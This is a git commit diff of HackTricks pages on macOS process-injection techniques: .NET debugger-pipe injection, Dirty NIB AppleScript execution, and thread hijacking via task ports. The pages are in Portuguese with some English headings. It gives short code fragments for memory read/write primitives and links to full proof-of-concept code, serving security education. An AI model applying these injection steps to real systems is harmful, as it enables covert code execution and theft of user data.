Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 04:35:54 +00:00
parent f9f03db143
commit eb365cbc3f
82 changed files with 2798 additions and 2566 deletions

View file

@ -1,28 +1,29 @@
# Injeção em Aplicações .Net no macOS
# macOS .Net Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Este é um resumo do post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Confira para mais detalhes!**
## Depuração do .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Estabelecendo uma Sessão de Depuração** <a href="#net-core-debugging" id="net-core-debugging"></a>
O gerenciamento da comunicação entre o depurador e o depurado no .NET é feito por [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Este componente configura dois named pipes por processo .NET, como visto em [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), que são iniciados via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Esses pipes são sufixados com **`-in`** e **`-out`**.
O manuseio da comunicação entre o depurador e o depurado no .NET é gerenciado por [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Este componente configura dois pipes nomeados por processo .NET, como visto em [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), que são iniciados via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Esses pipes são sufixados com **`-in`** e **`-out`**.
Ao visitar o **`$TMPDIR`** do usuário, é possível encontrar FIFOs de depuração disponíveis para depurar aplicações .Net.
Ao visitar o **`$TMPDIR`** do usuário, pode-se encontrar FIFOs de depuração disponíveis para depurar aplicações .Net.
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) é responsável por gerenciar a comunicação de um depurador. Para iniciar uma nova sessão de depuração, um depurador deve enviar uma mensagem via o pipe `out` começando com uma estrutura `MessageHeader`, detalhada no código-fonte do .NET:
```c
@ -54,7 +55,7 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Este cabeçalho é então enviado para o alvo usando a chamada de sistema `write`, seguido pela struct `sessionRequestData` contendo um GUID para a sessão:
Este cabeçalho é então enviado para o alvo usando a chamada de sistema `write`, seguido pela estrutura `sessionRequestData` contendo um GUID para a sessão:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
@ -65,7 +66,7 @@ Uma operação de leitura no pipe `out` confirma o sucesso ou falha do estabelec
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
## Leitura de Memória
Uma vez estabelecida uma sessão de depuração, a memória pode ser lida usando o tipo de mensagem [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). A função readMemory é detalhada, realizando as etapas necessárias para enviar uma solicitação de leitura e recuperar a resposta:
Uma vez que uma sessão de depuração é estabelecida, a memória pode ser lida usando o tipo de mensagem [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). A função readMemory é detalhada, realizando os passos necessários para enviar um pedido de leitura e recuperar a resposta:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
// Allocation and initialization
@ -77,7 +78,7 @@ bool readMemory(void *addr, int len, unsigned char **output) {
return true;
}
```
O conceito de prova completo (POC) está disponível [aqui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
A prova de conceito (POC) completa está disponível [aqui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
## Escrevendo na Memória
@ -102,28 +103,29 @@ Para executar código, é necessário identificar uma região de memória com pe
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Localizar um local para sobrescrever um ponteiro de função é necessário, e no .NET Core, isso pode ser feito direcionando a **Tabela de Funções Dinâmicas (DFT)**. Esta tabela, detalhada em [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), é usada pelo tempo de execução para funções auxiliares de compilação JIT.
Localizar um lugar para sobrescrever um ponteiro de função é necessário, e no .NET Core, isso pode ser feito direcionando-se para a **Dynamic Function Table (DFT)**. Esta tabela, detalhada em [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), é usada pelo runtime para funções auxiliares de compilação JIT.
Para sistemas x64, a caça de assinaturas pode ser usada para encontrar uma referência ao símbolo `_hlpDynamicFuncTable` em `libcorclr.dll`.
Para sistemas x64, a busca por assinatura pode ser usada para encontrar uma referência ao símbolo `_hlpDynamicFuncTable` em `libcorclr.dll`.
A função de depuração `MT_GetDCB` fornece informações úteis, incluindo o endereço de uma função auxiliar, `m_helperRemoteStartAddr`, indicando a localização de `libcorclr.dll` na memória do processo. Este endereço é então usado para iniciar uma busca pela DFT e sobrescrever um ponteiro de função com o endereço do shellcode.
O código POC completo para injeção no PowerShell está acessível [aqui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
O código completo do POC para injeção no PowerShell está acessível [aqui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referências
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# macOS Dirty NIB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Para mais detalhes sobre a técnica, confira o post original em: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Aqui está um resumo:
Os arquivos NIB, parte do ecossistema de desenvolvimento da Apple, são destinados a definir **elementos de UI** e suas interações em aplicativos. Eles abrangem objetos serializados como janelas e botões, e são carregados em tempo de execução. Apesar de seu uso contínuo, a Apple agora defende o uso de Storyboards para uma visualização mais abrangente do fluxo da UI.
Os arquivos NIB, parte do ecossistema de desenvolvimento da Apple, são destinados a definir **elementos de UI** e suas interações em aplicativos. Eles abrangem objetos serializados, como janelas e botões, e são carregados em tempo de execução. Apesar de seu uso contínuo, a Apple agora defende o uso de Storyboards para uma visualização de fluxo de UI mais abrangente.
### Preocupações de Segurança com Arquivos NIB
É crucial notar que os **arquivos NIB podem representar um risco de segurança**. Eles têm o potencial de **executar comandos arbitrários**, e alterações nos arquivos NIB dentro de um aplicativo não impedem o Gatekeeper de executar o aplicativo, representando uma ameaça significativa.
É crítico notar que **os arquivos NIB podem ser um risco de segurança**. Eles têm o potencial de **executar comandos arbitrários**, e alterações em arquivos NIB dentro de um aplicativo não impedem o Gatekeeper de executar o aplicativo, representando uma ameaça significativa.
### Processo de Injeção de Dirty NIB
#### Criando e Configurando um Arquivo NIB
1. **Configuração Inicial**:
- Crie um novo arquivo NIB usando o XCode.
- Adicione um Objeto à interface, definindo sua classe como `NSAppleScript`.
- Configure a propriedade `source` inicial via Atributos de Tempo de Execução Definidos pelo Usuário.
- Configure a propriedade `source` inicial através de Atributos de Tempo de Execução Definidos pelo Usuário.
2. **Gadget de Execução de Código**:
- A configuração facilita a execução de AppleScript sob demanda.
@ -38,18 +39,18 @@ Os arquivos NIB, parte do ecossistema de desenvolvimento da Apple, são destinad
set theDialogText to "PWND"
display dialog theDialogText
```
- Teste executando no depurador XCode e clicando no botão.
- Teste executando no depurador do XCode e clicando no botão.
#### Mirando em um Aplicativo (Exemplo: Pages)
#### Alvo de um Aplicativo (Exemplo: Pages)
1. **Preparação**:
- Copie o aplicativo alvo (por exemplo, Pages) para um diretório separado (por exemplo, `/tmp/`).
- Inicie o aplicativo para contornar problemas do Gatekeeper e armazene em cache.
- Inicie o aplicativo para contornar problemas do Gatekeeper e armazená-lo em cache.
2. **Sobrescrevendo o Arquivo NIB**:
- Substitua um arquivo NIB existente (por exemplo, Painel Sobre NIB) pelo arquivo DirtyNIB criado.
2. **Substituindo o Arquivo NIB**:
- Substitua um arquivo NIB existente (por exemplo, About Panel NIB) pelo arquivo DirtyNIB criado.
3. **Execução**:
- Acione a execução interagindo com o aplicativo (por exemplo, selecionando o item de menu `Sobre`).
- Acione a execução interagindo com o aplicativo (por exemplo, selecionando o item de menu `About`).
#### Prova de Conceito: Acessando Dados do Usuário
- Modifique o AppleScript para acessar e extrair dados do usuário, como fotos, sem o consentimento do usuário.
@ -57,30 +58,31 @@ display dialog theDialogText
### Exemplo de Código: Arquivo .xib Malicioso
- Acesse e revise um [**exemplo de um arquivo .xib malicioso**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) que demonstra a execução de código arbitrário.
### Abordando Restrições de Inicialização
- Restrições de Inicialização impedem a execução do aplicativo em locais inesperados (por exemplo, `/tmp`).
- É possível identificar aplicativos não protegidos por Restrições de Inicialização e direcioná-los para injeção de arquivo NIB.
### Abordando Restrições de Lançamento
- Restrições de Lançamento dificultam a execução de aplicativos de locais inesperados (por exemplo, `/tmp`).
- É possível identificar aplicativos que não estão protegidos por Restrições de Lançamento e direcioná-los para injeção de arquivos NIB.
### Proteções Adicionais do macOS
A partir do macOS Sonoma em diante, modificações dentro de pacotes de aplicativos são restritas. No entanto, métodos anteriores envolviam:
A partir do macOS Sonoma, modificações dentro de pacotes de aplicativos são restritas. No entanto, métodos anteriores envolviam:
1. Copiar o aplicativo para um local diferente (por exemplo, `/tmp/`).
2. Renomear diretórios dentro do pacote do aplicativo para contornar proteções iniciais.
3. Após executar o aplicativo para registrar no Gatekeeper, modificar o pacote do aplicativo (por exemplo, substituindo MainMenu.nib por Dirty.nib).
4. Renomear diretórios de volta e executar novamente o aplicativo para executar o arquivo NIB injetado.
3. Após executar o aplicativo para registrar com o Gatekeeper, modificar o pacote do aplicativo (por exemplo, substituindo MainMenu.nib por Dirty.nib).
4. Renomear os diretórios de volta e executar novamente o aplicativo para executar o arquivo NIB injetado.
**Nota**: Atualizações recentes do macOS mitigaram esse exploit ao impedir modificações de arquivos dentro de pacotes de aplicativos após o cache do Gatekeeper, tornando o exploit ineficaz.
**Nota**: Atualizações recentes do macOS mitigaram essa exploração, impedindo modificações de arquivos dentro de pacotes de aplicativos após o cache do Gatekeeper, tornando a exploração ineficaz.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,57 @@
# Injeção de Thread no macOS via porta de tarefa
# macOS Thread Injection via Task port
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Código
## Code
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
## 1. Sequestro de Thread
## 1. Thread Hijacking
Inicialmente, a função **`task_threads()`** é invocada na porta da tarefa para obter uma lista de threads da tarefa remota. Um thread é selecionado para sequestro. Esta abordagem difere dos métodos convencionais de injeção de código, pois a criação de um novo thread remoto é proibida devido à nova mitigação que bloqueia `thread_create_running()`.
Inicialmente, a função **`task_threads()`** é invocada na porta da tarefa para obter uma lista de threads da tarefa remota. Uma thread é selecionada para sequestro. Essa abordagem diverge dos métodos convencionais de injeção de código, pois criar uma nova thread remota é proibido devido à nova mitigação que bloqueia `thread_create_running()`.
Para controlar o thread, é chamado **`thread_suspend()`**, interrompendo sua execução.
Para controlar a thread, **`thread_suspend()`** é chamada, interrompendo sua execução.
As únicas operações permitidas no thread remoto envolvem **parar** e **iniciar** ele, **recuperar** e **modificar** seus valores de registro. Chamadas de função remotas são iniciadas configurando os registros `x0` a `x7` para os **argumentos**, configurando **`pc`** para a função desejada e ativando o thread. Garantir que o thread não falhe após o retorno requer a detecção do retorno.
As únicas operações permitidas na thread remota envolvem **parar** e **iniciar** a thread, **recuperar** e **modificar** seus valores de registradores. Chamadas de função remotas são iniciadas configurando os registradores `x0` a `x7` com os **argumentos**, configurando **`pc`** para direcionar à função desejada e ativando a thread. Garantir que a thread não falhe após o retorno requer a detecção do retorno.
Uma estratégia envolve **registrar um manipulador de exceção** para o thread remoto usando `thread_set_exception_ports()`, configurando o registro `lr` para um endereço inválido antes da chamada da função. Isso desencadeia uma exceção pós-execução da função, enviando uma mensagem para a porta de exceção, permitindo a inspeção do estado do thread para recuperar o valor de retorno. Alternativamente, como adotado do exploit triple\_fetch de Ian Beer, `lr` é configurado para fazer um loop infinito. Os registros do thread são então monitorados continuamente até que o **`pc` aponte para essa instrução**.
Uma estratégia envolve **registrar um manipulador de exceção** para a thread remota usando `thread_set_exception_ports()`, configurando o registrador `lr` para um endereço inválido antes da chamada da função. Isso aciona uma exceção após a execução da função, enviando uma mensagem para a porta de exceção, permitindo a inspeção do estado da thread para recuperar o valor de retorno. Alternativamente, como adotado do exploit triple\_fetch de Ian Beer, `lr` é configurado para loop infinito. Os registradores da thread são então monitorados continuamente até que **`pc` aponte para essa instrução**.
## 2. Portas Mach para comunicação
## 2. Mach ports for communication
A fase subsequente envolve o estabelecimento de portas Mach para facilitar a comunicação com o thread remoto. Essas portas são instrumentais na transferência de direitos de envio e recebimento arbitrários entre tarefas.
A fase subsequente envolve estabelecer portas Mach para facilitar a comunicação com a thread remota. Essas portas são instrumentais na transferência de direitos de envio e recebimento arbitrários entre tarefas.
Para comunicação bidirecional, são criados dois direitos de recebimento Mach: um na tarefa local e outro na tarefa remota. Posteriormente, um direito de envio para cada porta é transferido para a tarefa correspondente, permitindo a troca de mensagens.
Para comunicação bidirecional, dois direitos de recebimento Mach são criados: um na tarefa local e o outro na tarefa remota. Subsequentemente, um direito de envio para cada porta é transferido para a tarefa correspondente, permitindo a troca de mensagens.
Focando na porta local, o direito de recebimento é mantido pela tarefa local. A porta é criada com `mach_port_allocate()`. O desafio está em transferir um direito de envio para esta porta para a tarefa remota.
Focando na porta local, o direito de recebimento é mantido pela tarefa local. A porta é criada com `mach_port_allocate()`. O desafio reside em transferir um direito de envio para esta porta na tarefa remota.
Uma estratégia envolve aproveitar `thread_set_special_port()` para colocar um direito de envio para a porta local no `THREAD_KERNEL_PORT` do thread remoto. Em seguida, instrui-se o thread remoto a chamar `mach_thread_self()` para recuperar o direito de envio.
Uma estratégia envolve aproveitar `thread_set_special_port()` para colocar um direito de envio na porta local na `THREAD_KERNEL_PORT` da thread remota. Em seguida, a thread remota é instruída a chamar `mach_thread_self()` para recuperar o direito de envio.
Para a porta remota, o processo é essencialmente reverso. O thread remoto é direcionado a gerar uma porta Mach via `mach_reply_port()` (como `mach_port_allocate()` é inadequado devido ao seu mecanismo de retorno). Após a criação da porta, `mach_port_insert_right()` é invocado no thread remoto para estabelecer um direito de envio. Este direito é então armazenado no kernel usando `thread_set_special_port()`. De volta à tarefa local, `thread_get_special_port()` é usado no thread remoto para adquirir um direito de envio para a porta Mach recém-alocada na tarefa remota.
Para a porta remota, o processo é essencialmente invertido. A thread remota é direcionada a gerar uma porta Mach via `mach_reply_port()` (já que `mach_port_allocate()` não é adequada devido ao seu mecanismo de retorno). Após a criação da porta, `mach_port_insert_right()` é invocado na thread remota para estabelecer um direito de envio. Esse direito é então armazenado no kernel usando `thread_set_special_port()`. De volta à tarefa local, `thread_get_special_port()` é usado na thread remota para adquirir um direito de envio para a nova porta Mach alocada na tarefa remota.
A conclusão dessas etapas resulta no estabelecimento de portas Mach, preparando o terreno para a comunicação bidirecional.
A conclusão desses passos resulta no estabelecimento de portas Mach, preparando o terreno para comunicação bidirecional.
## 3. Primitivas Básicas de Leitura/Gravação de Memória
## 3. Basic Memory Read/Write Primitives
Nesta seção, o foco está em utilizar a primitiva de execução para estabelecer primitivas básicas de leitura e gravação de memória. Esses passos iniciais são cruciais para obter mais controle sobre o processo remoto, embora as primitivas nesta fase não sirvam para muitos propósitos. Em breve, elas serão atualizadas para versões mais avançadas.
Nesta seção, o foco está em utilizar o primitivo de execução para estabelecer primitivas básicas de leitura e escrita de memória. Esses passos iniciais são cruciais para obter mais controle sobre o processo remoto, embora os primitivos nesta fase não sirvam para muitos propósitos. Em breve, eles serão atualizados para versões mais avançadas.
### Leitura e Escrita de Memória Usando a Primitiva de Execução
### Memory Reading and Writing Using Execute Primitive
O objetivo é realizar a leitura e escrita de memória usando funções específicas. Para ler memória, são usadas funções com a seguinte estrutura:
O objetivo é realizar leitura e escrita de memória usando funções específicas. Para ler memória, funções que se assemelham à seguinte estrutura são usadas:
```c
uint64_t read_func(uint64_t *address) {
return *address;
@ -62,7 +63,7 @@ void write_func(uint64_t *address, uint64_t value) {
*address = value;
}
```
Estas funções correspondem às instruções de montagem fornecidas:
Essas funções correspondem às instruções de assembly dadas:
```
_read_func:
ldr x0, [x0]
@ -71,53 +72,53 @@ _write_func:
str x1, [x0]
ret
```
### Identificação de Funções Adequadas
### Identificando Funções Adequadas
Uma varredura de bibliotecas comuns revelou candidatos apropriados para essas operações:
Uma varredura em bibliotecas comuns revelou candidatos apropriados para essas operações:
1. **Lendo Memória:**
A função `property_getName()` da [biblioteca de tempo de execução Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) é identificada como uma função adequada para ler memória. A função é descrita abaixo:
A função `property_getName()` da [biblioteca de tempo de execução do Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) é identificada como uma função adequada para ler memória. A função é descrita abaixo:
```c
const char *property_getName(objc_property_t prop) {
return prop->name;
}
```
Esta função atua efetivamente como a `read_func` retornando o primeiro campo de `objc_property_t`.
Esta função atua efetivamente como o `read_func` ao retornar o primeiro campo de `objc_property_t`.
2. **Escrevendo na Memória:**
Encontrar uma função pré-construída para escrever na memória é mais desafiador. No entanto, a função `_xpc_int64_set_value()` da libxpc é um candidato adequado com o seguinte desmontagem:
Encontrar uma função pré-construída para escrever na memória é mais desafiador. No entanto, a função `_xpc_int64_set_value()` da libxpc é uma candidata adequada com a seguinte desassemblagem:
```c
__xpc_int64_set_value:
str x1, [x0, #0x18]
ret
```
Para realizar uma escrita de 64 bits em um endereço específico, a chamada remota é estruturada da seguinte forma:
Para realizar uma gravação de 64 bits em um endereço específico, a chamada remota é estruturada da seguinte forma:
```c
_xpc_int64_set_value(address - 0x18, value)
```
Com essas primitivas estabelecidas, o palco está montado para criar memória compartilhada, marcando uma progressão significativa no controle do processo remoto.
Com essas primitivas estabelecidas, o palco está preparado para criar memória compartilhada, marcando um progresso significativo no controle do processo remoto.
